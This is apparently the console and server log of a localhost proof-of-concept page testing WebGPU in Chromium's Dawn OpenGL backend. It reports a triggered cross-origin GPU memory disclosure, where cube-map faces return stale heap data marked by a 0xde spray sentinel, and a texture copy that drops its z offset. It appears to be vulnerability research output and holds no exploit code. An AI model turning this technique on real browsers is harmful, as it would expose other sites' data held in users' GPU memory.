[3263:3263:0514/205048.738209:INFO:CONSOLE:11] "[*] requesting adapter (featureLevel=compatibility)", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205048.770105:INFO:CONSOLE:11] "[*] adapter: vendor= arch= desc= device=", source: http://127.0.0.1:8080/poc.html (11) Debug: ../../third_party/dawn/src/dawn/native/opengl/BufferGL.cpp:89(operator())Preexisting OpenGL errors: GL_INVALID_OPERATION [3263:3263:0514/205048.977649:INFO:CONSOLE:11] "[*] got device", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205048.997553:INFO:CONSOLE:11] "=== Part 1: uninitialized-memory leak (faces 3-5) ===", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205048.998392:INFO:CONSOLE:11] "[*] expected (correct behaviour): all bytes == 0xAA", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205048.998959:INFO:CONSOLE:11] "[*] readback first 64 bytes: de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de ", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205048.999995:INFO:CONSOLE:11] "[*] all bytes == 0xAA? false", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.000615:INFO:CONSOLE:11] "[*] all bytes == 0x00? false", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.001285:INFO:CONSOLE:11] "[*] non-zero bytes: 49152 / 49152", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.001984:INFO:CONSOLE:11] "[*] spray-sentinel (0xde) bytes: 49152 / 49152", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.002684:INFO:CONSOLE:11] "[+] BUG TRIGGERED: faces 3-5 contain stale GPU heap from previously-destroyed textures (spray sentinel observed). Cross-origin GPU memory disclosure.", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.015406:INFO:CONSOLE:11] "=== Part 2: dst.z drop demonstration (all 6 faces) ===", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.015646:INFO:CONSOLE:11] "[*] expected (correct): face0-2=0x11, face3-5=0xAA", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.015697:INFO:CONSOLE:11] "[*] face 0 byte0 = 0xaa", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.016165:INFO:CONSOLE:11] "[*] face 1 byte0 = 0xaa", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.016213:INFO:CONSOLE:11] "[*] face 2 byte0 = 0xaa", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.016601:INFO:CONSOLE:11] "[*] face 3 byte0 = 0x11", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.016977:INFO:CONSOLE:11] "[*] face 4 byte0 = 0x11", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.017083:INFO:CONSOLE:11] "[*] face 5 byte0 = 0x11", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.020284:INFO:CONSOLE:11] "[+] BUG TRIGGERED: copy wrote faces 0-2 instead of 3-5 (dst.z dropped).", source: http://127.0.0.1:8080/poc.html (11) [3263:3263:0514/205049.022219:INFO:CONSOLE:11] "=== DONE ===", source: http://127.0.0.1:8080/poc.html (11) ----- page log (server side) ----- [server] serving on http://127.0.0.1:8080/ [page] [*] requesting adapter (featureLevel=compatibility) [page] [*] adapter: vendor= arch= desc= device= [page] [*] got device [page] [page] === Part 1: uninitialized-memory leak (faces 3-5) === [page] [*] expected (correct behaviour): all bytes == 0xAA [page] [*] readback first 64 bytes: de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de de [page] [*] all bytes == 0xAA? false [page] [*] all bytes == 0x00? false [page] [*] non-zero bytes: 49152 / 49152 [page] [*] spray-sentinel (0xde) bytes: 49152 / 49152 [page] [page] [+] BUG TRIGGERED: faces 3-5 contain stale GPU heap from previously-destroyed textures (spray sentinel observed). Cross-origin GPU memory disclosure. [page] === Part 2: dst.z drop demonstration (all 6 faces) === [page] [*] expected (correct): face0-2=0x11, face3-5=0xAA [page] [*] face 0 byte0 = 0xaa [page] [*] face 1 byte0 = 0xaa [page] [*] face 2 byte0 = 0xaa [page] [*] face 3 byte0 = 0x11 [page] [*] face 4 byte0 = 0x11 [page] [*] face 5 byte0 = 0x11 [page] [+] BUG TRIGGERED: copy wrote faces 0-2 instead of 3-5 (dst.z dropped). [page] [page] === DONE ===